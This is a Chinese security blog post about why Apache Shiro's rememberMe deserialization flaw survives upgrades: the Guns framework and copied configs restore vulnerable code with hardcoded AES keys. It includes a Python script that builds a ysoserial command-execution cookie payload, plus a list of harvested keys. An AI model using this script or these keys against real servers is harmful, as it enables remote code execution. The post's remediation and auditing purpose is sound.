关于Shiro反序列化漏洞的延伸—升级shiro也能被shell

Posted 网易安全应急响应中心

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了关于Shiro反序列化漏洞的延伸—升级shiro也能被shell相关的知识,希望对你有一定的参考价值。

首先感谢白帽子木板凳,本篇文章是对他提交的一个poc引发的思考。

0x00 概述

第一次接触shiro反序列化漏洞还是16年8月份,距离现在已经很久了,那时候只知道拿着个POC到处打,原理大致看过一下,也没太在意。

但是这次遇到一个问题——某些应用“将shiro升级到1.2.4之后的版本,还存在反序列化漏洞”

0x01 事件过程:

开始:

收到到一个漏洞和一段POC,发现是shiro反序列化漏洞。在应急后,让业务去升级shiro到最新的版本,但业务很早之前就升级了。

怀疑:

是不是线上版本和开发版本不同,线上仍然是旧版本的?

是不是pom.xml是修复的版本,但是下载的jar包没有更新?

排查完都不是!

懵逼之后只能去看漏洞原理,排查哪里出了问题。

0x02 漏洞回顾:

这是一直以来比较权威的文章

http://blog.knownsec.com/2016/08/apache-shiro-java/

回顾重点

 
   
   
 
  1. rememberMe cookie

  2. CookieRememberMeManager.java

  3. Base64

  4. AES

  5. 加密密钥硬编码

  6. Java serialization

大致的逻辑
 
   
   
 
  1. Step1 : cookie里的rememberMe是漏洞的入口

  2. Step2 : payload AES解密 Base64解码

  3. Step3 :送到问题函数内反序列化->执行

官方修复

在SHIRO-550(https://github.com/Collaborne/shiro/commit/71114398cadb47e49384638df0a4b79fb3120f8a)

做了两处修改,实际有作用的是一处,而另外一处是配置文件说明

因为CookieRememberMeManager的父类AbstractRememberMeManager中PrincipalCollection 是序列化的对象,然而这个类是个接口,所以实际的类是SimplePrincipalCollection。(http://blog.knownsec.com/2016/08/apache-shiro-java/)

把问题简单化,就是shiro在处理rememberme 这个Cookie时,弃用了setRememberMeManager(new CookieRememberMeManager());有问题代码。

0x03 回到问题:

看完原理,排查存在问题的代码位置,在代码目录下

 
   
   
 
  1. grep shiro ./* -R

找到了位置 文件 shiroConfig.java 里有一个方法:关于Shiro反序列化漏洞的延伸—升级shiro也能被shell

看一眼import

 
   
   
 
  1. import org.apache.shiro.web.mgt.DefaultWebSecurityManager;

再看下官方修复的路径

 
   
   
 
  1. web/src/main/java/org/apache/shiro/web/mgt/DefaultWebSecurityManager.java

这就是官方删除的那句话,在shiroConfig.java 里重写了这个方法,也就是说把问题代码又改回去了!!!

再查看下POC里带的Key“Z3VucwAAAAAAAAAAAAAAAA==”关于Shiro反序列化漏洞的延伸—升级shiro也能被shell

总结:业务代码里重写了securityManager()这个方法,并且重写成了问题版本,导致的反序列化漏洞。

0x04 问题延伸:

为什么会有这种情况?

可能性1:有其他开源框架整合了shiro,并且有这样一段配置文件,大家就都直接用了。

可能性2:因为这种代码都是互相抄来抄去的,在博客里,教程里,github里有这个代码,开发直接拿过来用。

证实这两种可能性:

将key:Z3VucwAAAAAAAAAAAAAAAA== 放到github当中搜索。

发现大量使用guns框架的代码存在这个问题。我这里受影响的代码也用了这个框架。关于Shiro反序列化漏洞的延伸—升级shiro也能被shell

得到发现1:guns存在shiro反序列化漏洞

guns是一个整合springmvc + shiro + mybatis-plus + beet的框架。

问题代码位置:

https://github.com/stylefeng/Guns/blob/d2af8b952a8e8f9092b5c10e960b47ad17c72ed3/src/main/java/cn/stylefeng/guns/config/web/ShiroConfig.java

关于Shiro反序列化漏洞的延伸—升级shiro也能被shell关于Shiro反序列化漏洞的延伸—升级shiro也能被shell

看了下关注和folk的人不少。关于Shiro反序列化漏洞的延伸—升级shiro也能被shell

关于Shiro反序列化漏洞的延伸—升级shiro也能被shell

找到guns之后,研究下ShiroConfig.java的作用,他是用来配置Springboot和shiro整合的配置文件。

得到发现2:springboot springmvc和shiro三者整合的框架也常出现漏洞。

在很多和shiro整合的代码中,配置文件代码,又将存在漏洞的代码复现了。

 
   
   
 
  1. securityManager.setRememberMeManager(rememberMeManager);

  2. manager.setCipherKey(Base64.decode("Z3VucwAAAAAAAAAAAAAAAA=="));

这两句代码又重出江湖。

其他发现

又将securityManager.setRememberMeManager(rememberMeManager); Base64.decode(联合作为关键字到github上搜索发现有1723个结果关于Shiro反序列化漏洞的延伸—升级shiro也能被shell通过github api search接口抓到一些key

 
   
   
 
  1. 使用正则大致抓了下key

  2. wGiHplamyXlVB11UXWol8g==

  3. 2AvVhdsgUs0FSA3SDFAdag==

  4. 4AvVhmFLUs0KTA3Kprsdag==

  5. 3AvVhmFLUs0KTA3Kprsdag==

  6. ...

然后抽取几个key去反查代码,每个key都有不少代码存在于github上,发现了5k+个结果。关于Shiro反序列化漏洞的延伸—升级shiro也能被shell

那百度和google呢?

关于Shiro反序列化漏洞的延伸—升级shiro也能被shell同样很多,有的甚至是教程。

这时 我发现问题还是蛮严重的。

因为错误代码的复用造成的安全问题,扩散程度还是挺大的。

0x05 修复建议

1.将shiro升级到1.2.4之后的版本(1.2.4也是问题版本哦~)

2.在代码仓库中搜索

 
   
   
 
  1. 关键字:

  2. securityManager.setRememberMeManager(rememberMeManager);+setCipherKey(Base64.decode("

排查是否有框架整合了shiro,是否使用了存在漏洞的代码。如果发现请删除securityManager.setRememberMeManager(rememberMeManager);或者修改key,确保key的唯一性。

3.将shiro整理到危险框架名单中,对新业务使用shiro以及响应的整合,需要做安全提示,降低未来存在漏洞的风险。

4.代码审计中添加响应规则,不仅要检测pom.xml中shiro的版本,也要检查代码中是否包含这段官方删除掉的代码。

0x06 扫描脚本改进

来自:http://blog.knownsec.com/2016/08/apache-shiro-java/

 
   
   
 
  1. # pip install pycrypto

  2. import sys

  3. import base64

  4. import uuid

  5. from random import Random

  6. import subprocess

  7. from Crypto.Cipher import AES


  8. def encode_rememberme(command):

  9.    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)

  10.    BS   = AES.block_size

  11.    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

  12.    key  =  "kPH+bIxk5D2deZiIxcaaaA=="

  13.    mode =  AES.MODE_CBC

  14.    iv   =  uuid.uuid4().bytes

  15.    encryptor = AES.new(base64.b64decode(key), mode, iv)

  16.    file_body = pad(popen.stdout.read())

  17.    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

  18.    return base64_ciphertext


  19. if __name__ == '__main__':

  20.    payload = encode_rememberme(sys.argv[1])    

  21.    with open("/tmp/payload.cookie", "w") as fpw:

  22.        print("rememberMe={}".format(payload.decode()), file=fpw)

原来的扫描脚本没有太大变化,只需要添加key就可以排查风险了。所以需要抓取key值

Step1:用github 的api search接口,搜索以下关键字

 
   
   
 
  1. securityManager.setRememberMeManager(rememberMeManager);+setCipherKey(Base64.decode(

Step2:用正则匹配key,保存本地

 
   
   
 
  1. wGiHplamyXlVB11UXWol8g==

  2. 2AvVhdsgUs0FSA3SDFAdag==

  3. 4AvVhmFLUs0KTA3Kprsdag==

  4. 3AvVhmFLUs0KTA3Kprsdag==

  5. ...

0x07 参考资料

https://www.freebuf.com/vuls/178014.html

http://blog.knownsec.com/2016/08/apache-shiro-java/

http://blog.qianxuefeng.com/article/107

https://blog.zsxsoft.com/post/35



以上是关于关于Shiro反序列化漏洞的延伸—升级shiro也能被shell的主要内容,如果未能解决你的问题,请参考以下文章

shiro反序列化漏洞复现

shiro-反序列化漏洞

【CVE-2016-4437】Shiro反序列化漏洞复现

shiro-550反序列化漏洞分析

应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现